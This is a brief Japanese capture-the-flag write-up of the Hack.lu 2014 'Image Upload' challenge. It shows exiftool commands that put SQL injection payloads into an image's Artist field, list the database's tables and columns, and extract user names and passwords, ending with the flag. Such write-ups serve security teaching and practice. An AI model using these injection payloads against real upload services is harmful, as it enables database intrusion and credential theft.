Hack.lu CTF 2014 Image Upload writeup
ずっと前にチーム内勉強会でやった記憶があったので、当時の記憶をなぞったという感じ。
画像アップローダーとログインフォームだけが渡される。
ログインフォームをいじっても、SQL injectionはなさそう。
画像を適当にアップすると、指名手配みたいに加工された後に謎のパラメータが下部に付与される。
Width | Height | Author | Manufacturer | Model |
---|
とあるが、これはExif情報であることが自明。
exiftoolを使うとこの情報を編集することができる。
さて、Exif情報が表示されるということは、画像に加えてこれらの情報も保存されているということになる。
つまり、INSERT (width, height, author, manufacture, model) VALUE (0,0,hoge,piyo,fuga) というSQL文が動いていると考えられる。
そこで、この文を利用してSQL injectionを行う。
$ exiftool -Artist="art',(SELECT table_name FROM information_schema.tables LIMIT 41,1),(SELECT table_name FROM information_schema.tables LIMIT 40,1))#" solve.jpg
users, picturesの2つのテーブルがあることがわかる。
picturesはアップロードした画像なので、usersを探る。
$ exiftool -Artist="art',(SELECT column_name FROM information_schema.columns WHERE table_name ='users' LIMIT 1,1),(SELECT column_name FROM information_schema.columns WHERE table_name ='users' LIMIT 2,1))#" solve.jpg
name, password のカラムがあることがわかる。(LIMIT 0,1 は idなので省略)
ここからユーザ情報を抜く。
$ exiftool -Artist="art',(SELECT name FROM users LIMIT 0,1),(SELECT password FROM users LIMIT 0,1))#" solve.jpg
$ exiftool -Artist="art',(SELECT name FROM users LIMIT 1,1),(SELECT password FROM users LIMIT 1,1))#" solve.jpg
sheriff AO7eikkOCucCFJOyyaaQ
deputy testpw
という2つのペアが得られるが、sheriffでログインするとフラグが得られる。
flag{1_5h07_7h3_5h3r1ff}
暗号に慣れてるせいで推測とエスパーの境目がわからないので精進したい。
ちなみに、SQL injection用のチートシートとしてここを使った。
MySQL SQL Injection Cheat Sheet | pentestmonkey
MySQL以外のものもまとまっているので使えそう。